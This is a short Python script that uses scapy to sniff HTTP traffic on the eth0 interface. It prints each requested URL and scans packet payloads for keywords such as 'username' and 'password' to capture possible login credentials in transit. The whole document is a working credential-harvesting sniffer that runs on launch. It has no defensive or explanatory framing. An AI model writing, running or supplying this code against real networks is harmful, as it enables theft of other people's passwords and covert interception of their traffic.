import scapy.all as scapy
from scapy.layers import http

def sniff(interface):
    scapy.sniff(iface =interface, store=False, prn = process_sniffed_packet)

def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

def get_login_info(packet):
     if packet.haslayer(scapy.Raw):
            load = packet[scapy.Raw].load
            keywords = ["username","user","login","pass","password"]
            for keyword in keywords:
                if keyword in str(load):
                    return load

def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request: " + str(url))
        login_info = get_login_info(packet)
        if login_info:
             print("\n\n[+] possible username/password > " + str(login_info) + "\n\n")


       

sniff("eth0")